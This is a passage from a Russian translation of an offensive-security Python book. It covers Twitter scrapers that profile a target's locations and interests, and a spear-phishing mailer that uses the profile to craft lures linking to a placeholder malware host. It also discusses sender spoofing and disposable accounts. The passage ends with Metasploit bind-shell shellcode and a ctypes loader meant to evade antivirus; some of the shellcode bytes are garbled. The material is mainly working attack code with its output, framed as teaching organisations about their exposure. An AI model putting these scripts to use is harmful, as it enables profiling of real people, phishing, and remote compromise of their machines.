the bastion so many of us need. Stay Frosty!!!!!!!!!!', 'geo':
None, 'from_user': u'p\u01ddz\u013luod\u0250\u01dd\u028d \u029e\
u0254opuooq'}, {'tweet': u'RT @droogie1xp: "Do you expect me to
talk?" - #UGNazi "No #UGNazi I expect you to die." @th3j35t3r
#ticktock', 'geo': None, 'from_user': u'p\u01ddz\u013luod\u0250\
u01dd\u028d \u029e\u0254opuooq'}, {'tweet': u'RT @Tehvar: @th3j35t3r
my thesis paper for my masters will now be focused on supporting the
#wwp, while I can not donate money I can give intelligence.'
<...ПРОПУЩЕНО...>

```

Надеюсь, вы посмотрели на этот код и подумали: «Ааа, отлично! Я знаю, как это сделать!» Именно! Процесс «добывания» информации в интернете начинается через какое-то время следовать определённому шаблону. Очевидно, мы ещё не закончили работать с результатами в Твиттере и «вытягивать» из них информацию о нашей цели. Платформы социальных сетей - это золотая жила, когда дело касается получения информации о человеке. День рождения человека, город, в котором он родился, или даже его домашний адрес, номер телефона, имена его родственников – знание таких «интимных» моментов помогает людям с нехорошими намерениями быстро войти в доверие. Люди часто не осознают проблем, которые могут возникнуть «благодаря» небезопасному использованию этих веб-сайтов. Давайте изучим это глубже, извлекая данные о местоположении объекта из постов Twitter.

### Извлечение данных о геолокации из твитов

Многие пользователи Твиттера следуют неписаной формуле при составлении и «расшаривании» твитов. Как правило, эта формула выглядит так: [другой пользователь Twitter, к которому обращён твит]+[текст твита, часто с сокращённым URL-адресом]+[хэштег(и)]. Также может быть включена другая информация, но не в самом тексте твита: например, изображение или (надеюсь) местонахождение. Однако вернитесь на шаг назад и взгляните на эту формулу глазами атакующего. Для злоумышленника она приобретает следующий вид: [человек, который интересен пользователю, и это обстоятельство увеличивает вероятность того, что пользователь будет доверять сообщениям от этого человека]+[ссылки или предметы, интересующие этого человека, ему будет интересна и другая информация по ним]+[тренды или темы, о которых человек хотел бы узнать больше]. Фотографии и геотеги больше не являются полезными/забавными «плюшками» для друзей: они становятся дополнительными деталями для включения в профиль – например, по ним можно узнать, когда человек обычно идёт завтракать. Хотя это и может показаться паранойей, теперь мы будем автоматически и скрупулёзно собирать эту информацию из каждого полученного твита.

```
import json
import urllib
import optparse
from anonBrowser import *
def get_tweets(handle):
    query = urllib.quote_plus('from:' + handle + \
        ' since:2009-01-01 include:retweets')
    tweets = []
    browser = anonBrowser()
    browser.anonymize()
    response = browser.open('http://search.twitter.com/' + \
        'search.json?q=' + query)
    json_objects = json.load(response)
    for result in json_objects['results']:
```

```

        new_result = {}
        new_result['from_user'] = result['from_user_name']
        new_result['geo'] = result['geo']
        new_result['tweet'] = result['text']
        tweets.append(new_result)
        return tweets

def load_cities(cityFile):
    cities = []
    for line in open(cityFile).readlines():
        city=line.strip('\n').strip('\r').lower()
        cities.append(city)
    return cities

def twitter_locate(tweets,cities):
    locations = []
    locCnt = 0
    cityCnt = 0
    tweetsText = ""
    for tweet in tweets:
        if tweet['geo'] != None:
            locations.append(tweet['geo'])
            locCnt += 1
            tweetsText += tweet['tweet'].lower()
    for city in cities:
        if city in tweetsText:
            locations.append(city)
            cityCnt+=1
    print "[+] Found "+str(locCnt)+" locations "+\
        "via Twitter API and "+str(cityCnt)+\
        " locations from text search."
    return locations

def main():
    parser = optparse.OptionParser('usage%prog '+\
        '-u <twitter handle> [-c <list of cities>]')
    parser.add_option('-u', dest='handle', type='string',\
        help='specify twitter handle')
    parser.add_option('-c', dest='cityFile', type='string',\
        help='specify file containing cities to search')
    (options, args) = parser.parse_args()
    handle = options.handle
    cityFile = options.cityFile
    if (handle==None):
        print parser.usage
        exit(0)
    cities = []
    if (cityFile!=None):
        cities = load_cities(cityFile)
    tweets = get_tweets(handle)
    locations = twitter_locate(tweets,cities)
    print "[+] Locations: "+str(locations)

```

```
if __name__ == '__main__':  
    main()
```

Чтобы проверить наш скрипт, мы составим список городов, в которых есть бейсбольные команды высшей лиги. Затем «проскрейпим» Твиттер-аккаунты Boston Red Sox и Washington Nationals. Мы видим, что Red Sox сейчас играют в Торонто, а Nationals - в Денвере.

```
recon:!# cat mlb-cities.txt | more  
baltimore  
boston  
chicago  
cleveland  
detroit  
<..ПРОПУЩЕНО..>  
recon:!# python twitterGeo.py -u redsox -c mlb-cities.txt  
[+] Found 0 locations via Twitter API and 1 locations from text search.  
[+] Locations: ['toronto']  
recon:!# python twitterGeo.py -u nationals -c mlb-cities.txt  
[+] Found 0 locations via Twitter API and 1 locations from text search.  
[+] Locations: ['denver']
```

## Анализ интересов из Twitter с помощью регулярных выражений

Затем мы соберём интересы нашей цели, будь то другие пользователи или интернет-контент. Всякий раз, когда какой-нибудь веб-сайт даёт возможность узнать, что волнует нашу цель – хватайтесь за него: эти данные станут основой успешной атаки методом социальной инженерии. Как уже обсуждалось ранее, интересными моментами в твите являются любые включённые ссылки, хэштеги и упомянутые в нём другие пользователи Twitter. Поиск этой информации будет простым упражнением по части регулярных выражений.

```
import json  
import re  
import urllib  
import urllib2  
import optparse  
from anonBrowser import *  
def get_tweets(handle):  
    query = urllib.quote_plus('from:' + handle +\  
        ' since:2009-01-01 include:retweets')  
    tweets = []  
    browser = anonBrowser()  
    browser.anonymize()  
    response = browser.open('http://search.twitter.com/' +\  
        'search.json?q=' + query)  
    json_objects = json.load(response)  
    for result in json_objects['results']:
```

```

        new_result = {}
        new_result['from_user'] = result['from_user_name']
        new_result['geo'] = result['geo']
        new_result['tweet'] = result['text']
        tweets.append(new_result)
    return tweets

def find_interests(tweets):
    interests = {}
    interests['links'] = []
    interests['users'] = []
    interests['hashtags'] = []
    for tweet in tweets:
        text = tweet['tweet']
        links = re.compile('(http.*?)\Z|(http.*?) ').findall(text)
        for link in links:
            if link[0]:
                link = link[0]
            elif link[1]:
                link = link[1]
            else:
                continue
            try:
                response = urllib2.urlopen(link)
                full_link = response.url
                interests['links'].append(full_link)
            except:
                pass
            interests['users'] += re.compile('@\w+').findall(text)
            interests['hashtags'] += \
                re.compile('#\w+').findall(text)
    interests['users'].sort()
    interests['hashtags'].sort()
    interests['links'].sort()
    return interests

def main():
    parser = optparse.OptionParser('usage%prog '+\
        '-u <twitter handle>')
    parser.add_option('-u', dest='handle', type='string',\
        help='specify twitter handle')
    (options, args) = parser.parse_args()
    handle = options.handle
    if handle == None:
        print parser.usage
        exit(0)
    tweets = get_tweets(handle)
    interests = find_interests(tweets)
    print '\n[+] Links.'
    for link in set(interests['links']):

```

```

        print ' [+] ' +str(link)
    print '\n[+] Users.'
    for user in set(interests['users']):
        print ' [+] ' +str(user)
    print '\n[+] HashTags.'
    for hashtag in set(interests['hashtags']):
        print ' [+] ' +str(hashtag)
if __name__ == '__main__':
    main()

```

Запустив наш скрипт анализа интересов, мы видим, что он анализирует ссылки, подписчиков и хэштеги нашей цели – бойца смешанных боевых искусств Чейла Соннена. Обратите внимание, что скрипт выдаёт видео на YouTube, нескольких подписчиков и хэштеги, касающиеся предстоящей схватки с действующим (по состоянию на июнь 2012 года) чемпионом UFC Андерсоном Сильвой. Любопытство снова заставляет нас задуматься, что из этого получится.

```

recon: !# python twitterInterests.py -u sonnench
[+] Links.
[+] http://www.youtube.com/watch?v=K-BIuZtLC7k&feature=plcp
[+] Users.
[+] @tomasseeger
[+] @sonnench
[+] @Benaskren
[+] @AirFrayer
[+] @NEXERSYS
[+] HashTags.
[+] #UFC148

```

Использование регулярных выражений здесь не является оптимальным методом поиска информации. Регулярное выражение для захвата ссылок, включённых в текст, будет пропускать определённые типы URL-адресов, поскольку очень трудно сопоставлять все возможные URL-адреса с регулярными выражениями. Однако для наших целей это регулярное выражение будет работать 99 процентов времени. Кроме того, функция использует библиотеку **urllib2** для открытия ссылок вместо нашего класса **anonBrowser**.

Опять же, мы применим словарь для сортировки информации в более управляемую структуру данных, с тем чтобы нам не пришлось создавать целый новый класс. Из-за ограничения по количеству символов в Twitter большинство URL-адресов сокращаются с помощью одного из множества сервисов. Эти ссылки не слишком информативны, потому что могут вести куда угодно. Чтобы развернуть, их открывают с помощью **urllib2**; после того, как скрипт откроет страницу, **urllib** сможет извлечь полный URL. Другие пользователи и хэштеги затем извлекаются с помощью очень похожих регулярных выражений, а результаты

возвращаются основному методу `twitter()`. Местоположения и интересы в итоге возвращаются вызывающей стороне вне класса.

Есть и другие способы расширения возможностей наших методов обработки Twitter. Практически неограниченные ресурсы, найденные в интернете, и множество способов анализа этих данных требуют постоянного расширения возможностей в программе автоматического сбора информации.

Подводя итоги всей нашей серии разведки в отношении Twitter-пользователя, мы создаём класс, чтобы «проскрейпить» его местоположение, интересы и твиты. Это даст результат, как вы увидите в следующем разделе.

```
import urllib
from anonBrowser import *
import json
import re
import urllib2
class reconPerson:
    def __init__(self, handle):
        self.handle = handle
        self.tweets = self.get_tweets()
    def get_tweets(self):
        query = urllib.quote_plus('from:' + self.handle + \
            ' since:2009-01-01 include:retweets'
        )
        tweets = []
        browser = anonBrowser()
        browser.anonymize()
        response = browser.open('http://search.twitter.com/' + \
            'search.json?q=' + query)
        json_objects = json.load(response)
        for result in json_objects['results']:
            new_result = {}
            new_result['from_user'] = result['from_user_name']
            new_result['geo'] = result['geo']
            new_result['tweet'] = result['text']
            tweets.append(new_result)
        return tweets
    def find_interests(self):
        interests = {}
        interests['links'] = []
        interests['users'] = []
        interests['hashtags'] = []
        for tweet in self.tweets:
            text = tweet['tweet']
            links = re.compile('(http.*?)\Z|(http.*?) ').findall(text)
            for link in links:
```

```

        if link[0]:
            link = link[0]
        elif link[1]:
            link = link[1]
        else:
            continue
    try:
        response = urllib2.urlopen(link)
        full_link = response.url
        interests['links'].append(full_link)
    except:
        pass
    interests['users'] += \
re.compile('(@\w+)').findall(text)
    interests['hashtags'] += \
re.compile('(\#\w+)').findall(text)
    interests['users'].sort()
    interests['hashtags'].sort()
    interests['links'].sort()
    return interests
def twitter_locate(self, cityFile):
    cities = []
    if cityFile != None:
        for line in open(cityFile).readlines():
            city = line.strip('\n').strip('\r').lower()
            cities.append(city)
    locations = []
    locCnt = 0
    cityCnt = 0
    tweetsText = ''
    for tweet in self.tweets:
        if tweet['geo'] != None:
            locations.append(tweet['geo'])
            locCnt += 1
        tweetsText += tweet['tweet'].lower()
    for city in cities:
        if city in tweetsText:
            locations.append(city)
            cityCnt += 1
    return locations

```

## АНОНИМНАЯ ПОЧТА

Всё чаще и чаще веб-сайты начинают требовать от своих пользователей создания учётных записей и входа в них, если те хотят получить доступ к лучшим ресурсам данного сайта. Это, естественно, создаёт нам проблему, так как работа в интернете нашего браузера сильно отличается от работы в интернете браузера обычного пользователя. Требование входа в



систему, и это очевидно, сводит к нулю возможность полной интернет-анонимности, поскольку любое действие, выполненное после входа, будет привязано к учётной записи. Большинство веб-сайтов требуют только действительный адрес электронной почты и не проверяют правильность другой введённой личной информации. Адреса электронной почты от провайдеров онлайн-сервисов, таких как Google или Yahoo, бесплатны и просты для подписки; тем не менее, они поставляются с условиями обслуживания, которые вы должны принять и понять.

Отличная альтернатива постоянному аккаунту электронной почты - использование одноразового почтового аккаунта. Почта Ten Minute Mail по адресу <http://10minutemail.com/10MinuteMail/index.html> являет собой пример такой одноразовой учётной записи электронной почты. Злоумышленник может использовать аккаунты, которые трудно отследить, для создания учётных записей социальных сетей, которые также не привязаны к ним. У большинства веб-сайтов есть, как минимум, документ под названием «Условия использования», запрещающий сбор информации о других пользователях. Конечно же, настоящие злоумышленники не следуют ему, и применение этих методов к личным учётным записям в полной мере демонстрирует эту возможность. Помните, однако, что тот же процесс может быть использован против вас, и вам следует предпринять меры, чтобы убедиться, что ваша учётная запись защищена от таких действий.

## Массовая социальная инженерия

К этому моменту мы собрали большое количество ценной информации, формируя всестороннее представление о нашей цели. Автоматическое создание электронного письма на основе этих данных может оказаться непростой задачей, особенно с добавлением достаточного количества деталей, придающих ему правдоподобие. Одним из вариантов на этом этапе было бы заставить программу предоставить всю имеющуюся у неё информацию, а затем из неё выйти: это позволило бы злоумышленнику затем лично составить электронное письмо с использованием всей доступной информации. Однако отправка электронных писем каждому человеку в крупной организации вручную неосуществима. Мощь языка Python позволяет нам автоматизировать процесс и быстро получить результаты. Для наших задач мы создадим очень простое электронное письмо, используя собранную информацию, и автоматически отправим его нашей цели.

### Применение Smtplib для целевых адресов электронной почты

Процесс отправки электронного письма обычно состоит из открытия выбранного клиента, нажатия кнопки **new**, а затем кнопки **send**. «За кулисами» видимого интерфейса клиент подключается к серверу, входит (возможно) в систему и обменивается информацией, подробно описывающей отправителя, получателя и другие необходимые данные. Библиотека Python, **smtplib**, будет обрабатывать этот процесс в нашей программе. Мы

пройдём через процесс создания почтового клиента Python, который будет использоваться для отправки наших вредоносных писем нашей цели. Этот клиент будет очень простым, но сделает отправку электронных писем проще для остальной части нашей программы. Для наших задач здесь мы будем использовать SMTP-сервер Google Gmail; вам понадобится создать учётную запись Google Gmail для использования этого скрипта или изменить настройки для использования вашего собственного SMTP-сервера.

```
import smtplib
from email.mime.text import MIMEText
def sendMail(user,pwd,to,subject,text):
    msg = MIMEText(text)
    msg['From'] = user
    msg['To'] = to
    msg['Subject'] = subject
    try:
        smtpServer = smtplib.SMTP('smtp.gmail.com', 587)
        print "[+] Connecting To Mail Server."
        smtpServer.ehlo()
        print "[+] Starting Encrypted Session."
        smtpServer.starttls()
        smtpServer.ehlo()
        print "[+] Logging Into Mail Server."
        smtpServer.login(user, pwd)
        print "[+] Sending Mail."
        smtpServer.sendmail(user, to, msg.as_string())
        smtpServer.close()
        print "[+] Mail Sent Successfully."
    except:
        print "[-] Sending Mail Failed."
user = 'username'
pwd = 'password'
sendMail(user, pwd, 'target@tgt.tgt',\
'Re: Important', 'Test Message')
```

Запустив скрипт и проверив почтовый ящик цели, мы видим, что он успешно отправляет электронное письмо, используя **smtplib** из Python.

```
recon:# python sendMail.py
[+] Connecting To Mail Server.
[+] Starting Encrypted Session.
[+] Logging Into Mail Server.
[+] Sending Mail.
[+] Mail Sent Successfully.
```

При наличии действующего почтового сервера и параметров этот клиент корректно отправит электронное письмо на адрес **to\_addr**. Однако многие почтовые серверы не являются

открытыми ретрансляторами, и поэтому будут доставлять почту только по определённым адресам. Локальный почтовый сервер, настроенный как открытый ретранслятор, или любой открытый ретранслятор в интернете будут отправлять электронную почту на любой адрес и с любого адреса – адрес отправителя даже не обязательно должен быть действительным. Спамеры используют ту же технику для отправки писем с [Potus@whitehouse.gov](mailto:Potus@whitehouse.gov): они просто подделывают исходный адрес. Поскольку в наше время люди редко открывают электронную почту с подозрительного адреса, наша способность подделать адрес отправителя является ключевой. Использование класса `client` и открытого ретранслятора позволяет злоумышленнику отправлять электронную почту с явно заслуживающего доверия адреса, увеличивая вероятность того, что жертва откроет письмо.

### Целевой фишинг с помощью Smtplib

Наконец-то мы находимся на этапе, когда все наши исследования сводятся в единое целое. Итак, скрипт создаёт электронное письмо, которое выглядит так, как будто оно пришло от друга нашей цели, содержит вещи, которые будут ей интересны, и изложено таким языком, как будто его написал реальный человек. Большое число исследований было направлено на то, чтобы помочь компьютерам общаться так, как если бы они были людьми, но различные методы всё ещё несовершенны. Чтобы уменьшить вероятность «сесть в лужу», мы создадим очень простое сообщение, содержащее нашу полезную нагрузку в электронном письме. Несколько частей программы подключатся к выбору того, что из имеющейся информации нужно включить в письмо. Наша программа случайным образом сделает этот выбор на основе имеющихся у неё данных. Необходимо выполнить следующие действия: выбрать адрес электронной почты поддельного отправителя, создать тему, создать текст сообщения и затем отправить электронное письмо. К счастью, создать отправителя и тему довольно просто.

Теперь этот код нужно как-то настроить на тщательную обработку операторов `if` и объединение предложений, формируя из них короткое, связное сообщение. При работе с вероятностью получения огромного количества данных, как может произойти в случае, если наш разведывательный код использовал больше источников, каждый фрагмент параграфа, возможно, будет разбит на отдельные методы. Каждый метод будет отвечать за то, чтобы его «кусочек пирога» начинался и заканчивался определённым образом, а затем работал бы независимо от остальной части кода. Таким образом, по мере получения дополнительной информации о чьих-либо интересах (например), будет меняться только этот метод. Последний шаг – отправка электронного письма через наш почтовый клиент, после чего мы доверяем человеческой глупости довершить дело. Частью этого процесса, не обсуждаемой в текущей главе, является создание какого-нибудь эксплойта или фишинг-сайта, который будет использоваться для получения доступа. В нашем примере мы просто отправляем ссылку с неправильным именем, но полезной нагрузкой может быть вложение, мошеннический веб-сайт или любой другой метод, выбранный злоумышленником. Затем этот процесс будет

повторяться для каждого члена организации, и достаточно только одному человеку попасться на удочку – доступ окажется в руках злоумышленника.

Наш конкретный скрипт «возьмёт на прицел» пользователя на основе информации, которую тот оставляет в открытом доступе через Twitter. Опираясь на полученные сведения о местах, пользователях, хэштегах и ссылках, скрипт создаст электронное письмо с вредоносной ссылкой, чтобы пользователь кликнул по ней.

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
import smtplib
import optparse
from email.mime.text import MIMEText
from twitterClass import *
from random import choice

def sendMail(user,pwd,to,subject,text):
    msg = MIMEText(text)
    msg['From'] = user
    msg['To'] = to
    msg['Subject'] = subject
    try:
        smtpServer = smtplib.SMTP('smtp.gmail.com', 587)
        print "[+] Connecting To Mail Server."
        smtpServer.ehlo()
        print "[+] Starting Encrypted Session."
        smtpServer.starttls()
        smtpServer.ehlo()
        print "[+] Logging Into Mail Server."
        smtpServer.login(user, pwd)
        print "[+] Sending Mail."
        smtpServer.sendmail(user, to, msg.as_string())
        smtpServer.close()
        print "[+] Mail Sent Successfully."
    except:
        print "[-] Sending Mail Failed."

def main():
    parser = optparse.OptionParser('usage%prog '+\
        '-u <twitter target> -t <target email> '+\
        '-l <gmail login> -p <gmail password>')
    parser.add_option('-u', dest='handle', type='string',\
        help='specify twitter handle')
    parser.add_option('-t', dest='tgt', type='string',\
        help='specify target email')
    parser.add_option('-l', dest='user', type='string',\
        help='specify gmail login')
    parser.add_option('-p', dest='pwd', type='string',\
        help='specify gmail password')
    (options, args) = parser.parse_args()
```

```

handle = options.handle
tgt = options.tgt
user = options.user
pwd = options.pwd
if handle == None or tgt == None\
    or user ==None or pwd==None:
    print parser.usage
    exit(0)
print "[+] Fetching tweets from: "+str(handle)
spamTgt = reconPerson(handle)
spamTgt.get_tweets()
print "[+] Fetching interests from: "+str(handle)
interests = spamTgt.find_interests()
print "[+] Fetching location information from: "+\
    str(handle)
location = spamTgt.twitter_locate('mlb-cities.txt')
spamMsg = "Dear "+tgt+", "
if (location!=None):
    randLoc=choice(location)
    spamMsg += " Its me from "+randLoc+"."
if (interests['users']!=None):
    randUser=choice(interests['users'])
    spamMsg += " "+randUser+" said to say hello."
if (interests['hashtags']!=None):
    randHash=choice(interests['hashtags'])
    spamMsg += " Did you see all the fuss about "+\
        randHash+"?"
if (interests['links']!=None):
    randLink=choice(interests['links'])
    spamMsg += " I really liked your link to: "+\
        randLink+"."
spamMsg += " Check out my link to http://evil.tgt/malware"
print "[+] Sending Msg: "+spamMsg
sendMail(user, pwd, tgt, 'Re: Important', spamMsg)
if __name__ == '__main__':
    main()

```

Тестируя наш скрипт, мы смотрим, можно ли получить какую-то информацию о Boston Red Sox из их учётной записи в Twitter для отправки вредоносного спама по электронной почте.

```

recon# python sendSpam.py -u redsox -t target@tgt -l username -p
password
[+] Fetching tweets from: redsox
[+] Fetching interests from: redsox
[+] Fetching location information from: redsox
[+] Sending Msg: Dear redsox, Its me from toronto. @davidortiz said
to say hello. Did you see all the fuss about #SoxAllStars? I really

```

```
liked your link to:http://mlb.mlb.com. Check out my link to http://
evil.tgt/malware
[+] Connecting To Mail Server.
[+] Starting Encrypted Session.
[+] Logging Into Mail Server.
[+] Sending Mail.
[+] Mail Sent Successfully.
```

## Итоги главы

Хотя этот метод никогда не следует применять к другому человеку или организации, важно признать его жизнеспособность и способность определить, уязвима или нет ваша организация перед ним. Python и другие языки скриптов позволяют программистам быстро разрабатывать способы применения огромных ресурсов, найденных в интернете, чтобы получить и использовать весь их потенциал и преимущества. В нашем собственном коде мы создали класс, имитирующий веб-браузер при одновременном повышении анонимности, «проскрейпили» веб-сайт, использовали мощности Google, задействовали Twitter, чтобы узнать побольше о нашей цели, и затем, наконец, на основе всех этих деталей сочинили и отправили нашей цели специальное электронное письмо. Скорость интернет-соединения ограничивает быстродействие программы, поэтому многопоточность определённых функций может значительно сократить время её выполнения. Кроме того, поскольку мы узнали, как извлекать информацию из источника данных, теперь нам довольно просто делать то же самое в отношении других веб-сайтов. Люди не обладают умственными способностями для доступа к огромным объёмам информации в интернете и их обработки, но сила Python и его библиотек позволяет обычному человеку получить доступ к каждому ресурсу гораздо быстрее, чем это удаётся даже нескольким опытным исследователям одновременно. Зная всё это и понимая, что атака не так сложна, как вы, возможно, думали изначально, как вы теперь считаете: насколько уязвима ваша организация? Какую общедоступную информацию может использовать злоумышленник для атаки против вас? Можете ли вы стать жертвой Python-скрипта, «скрейпящего» ресурсы с открытым исходным кодом и рассылающего вредоносное ПО?

### Ссылки

- Beautiful Soup (2012). Crummy.com. Retrieved from <http://www.crummy.com/software/BeautifulSoup/>, February 16.
- Cha, A., & Nakashima, E. (2010). Google China cyberattack part of vast espionage campaign, experts say. *Washington Post*. Retrieved from <http://www.washingtonpost.com/wp-dyn/content/article/2010/01/13/AR2010011300359.html>, January 13.
- Constantin, L. (2012). Expect more cyber-espionage, sophisticated malware in '12, experts say. *G.E.Investigations, LLC*. Retrieved from <http://geinvestigations.com/blog/tag/social-engineeringoperation-aurora/>, January 2.

- Google (2010). Google web search API (deprecated). Retrieved from <https://developers.google.com/web-search/>, November 1.
- List of user-agent strings (2012). User Agent String.com. Retrieved from <http://www.useragentstring.com/pages/useragentstring.php>, February 17.
- Matrosov, A., Rodionov, E., Harlely, D., & Malcho, J. (2010). *Stuxnet under the microscope*. Eset.com. Retrieved from <go.eset.com/us/resources/white-papers/Stuxnet\_Under\_the\_Microscope.pdf>.
- Mechanize (2010). Mechanize home page. Retrieved from <http://wwwsearch.sourceforge.net/mechanize/>, April.
- Twitter (2012). Twitter API. Retrieved from <https://dev.twitter.com/docs>, February 17.
- Wilson, B. (2005). URL encoding. Blooberry.com. Retrieved from <http://www.blooberry.com/indexdot/html/topics/urlencoding.htm>.
- Zetter, K. (2010). Google hack attack was ultra-sophisticated, new details show. Wired.com. Retrieved from <http://www.wired.com/threatlevel/2010/01/operation-aurora/>, January 14.

# Глава 7: Python и обход антивирусов

## С чем мы столкнёмся в этой главе:

- Работа с Python Ctypes
- Обход антивирусов с помощью Python
- Сборка исполняемого файла Win32 с помощью Pyinstaller
- Применение HTTPLib для HTTP-запросов GET/POST
- Взаимодействие с онлайн-сканером вирусов

Это искусство, где маленький человек готов доказать вам, что независимо от того, насколько вы сильны, независимо от того, насколько вы разъярены, вам придётся признать поражение.

Сауло Рибейро, шестикратный чемпион мира, бразильское джиу-джитсу

## Введение: пожар!

28 мая 2012 года Центр Махера в Иране обнаружил сложную и изощрённую кибератаку на свою сеть (CERTCC, 2011). Эта атака оказалась столь продвинутой, что все 43 имевшихся в сети протестированных антивирусных «движка» не смогли определить код, задействованный при атаке, как вредоносный. Названное «Flame» («Пламя») «в честь» нескольких строк ASCII, включённых в код, вредоносное ПО, по всей видимости, заражало системы в Иране в рамках государственной стратегии кибершпионажа (Zetter, 2012). Со скомпилированными скриптами Lua, названными Beetlejuice, Microbe, Frog, Snack и Gator, вредоносное ПО раздавалось через Bluetooth, тайно записывало звук, заражало соседние машины, загружало скриншоты и данные на удалённые серверы управления и контроля (Analysis Team, 2012).

По оценкам специалистов, вредоносное ПО действовало уже как минимум два года. «Лаборатория Касперского» поспешила объяснить, что атака Flame – это «одна из самых сложных для отражения угроз, когда-либо обнаруженных».

Она обширная и невероятно запутанная» (Gostev, 2012). И всё же, как так случилось, что антивирусные движки не могли обнаружить её как минимум 2 года? Им не удалось обнаружить её, потому что большинство антивирусных движков по-прежнему в основном используют сигнатурное обнаружение в качестве основного метода. Хотя некоторые



поставщики уже начали использовать более сложные методы, такие как эвристика или оценка репутации, они всё ещё новы в своей концепции.

В последней главе мы создадим вредоносную программу, предназначенную для обхода антивирусных движков. Используемая концепция во многом является работой Марка Баггетта, который почти год назад поделился своим методом с последователями блога тестирования на проникновение SANS (Baggett, 2011). Тем не менее, метод обхода антивирусных программ всё ещё функционирует на момент написания этой главы. Беря за основу Flame, которая использовала скомпилированные скрипты Lua, мы реализуем метод Марка и скомпилируем код Python в исполняемый файл Windows, чтобы обойти антивирусные программы.

## Ускользаем от антивирусов

Чтобы создать вредоносную программу, нам нужен вредоносный код. Платформа Metasploit содержит хранилище вредоносных полезных нагрузок (250 на момент написания этой книги). Мы можем задействовать Metasploit для генерации некоторого шелл-кода в стиле C для вредоносной нагрузки. Мы используем простую оболочку Windows, которая свяжет процесс cmd.exe с выбранным нами TCP-портом. Это позволяет злоумышленнику удалённо подключаться к компьютеру и выдавать команды, взаимодействующие с exe-процессом cmd.:

```
attacker:!# msfpayload windows/shell_bind_tcp LPORT=1337 C
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=1337, RHOST=, EXITFUNC=process,
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xcl\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"
```

```
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
```

Далее мы напишем скрипт, который будет выполнять шелл-код в стиле C. Python позволяет импортировать сторонние библиотеки функций. Мы можем импортировать библиотеку **ctypes**, которая даст нам возможность взаимодействовать с типами данных для языка программирования C. Определив переменную для хранения нашего шелл-кода, мы просто приводим её как C-функцию и выполняем её. Для дальнейшего использования мы сохраним этот файл как **bindshell.py**:

```
from ctypes import *
shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64"
\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\x3c\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xeax0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
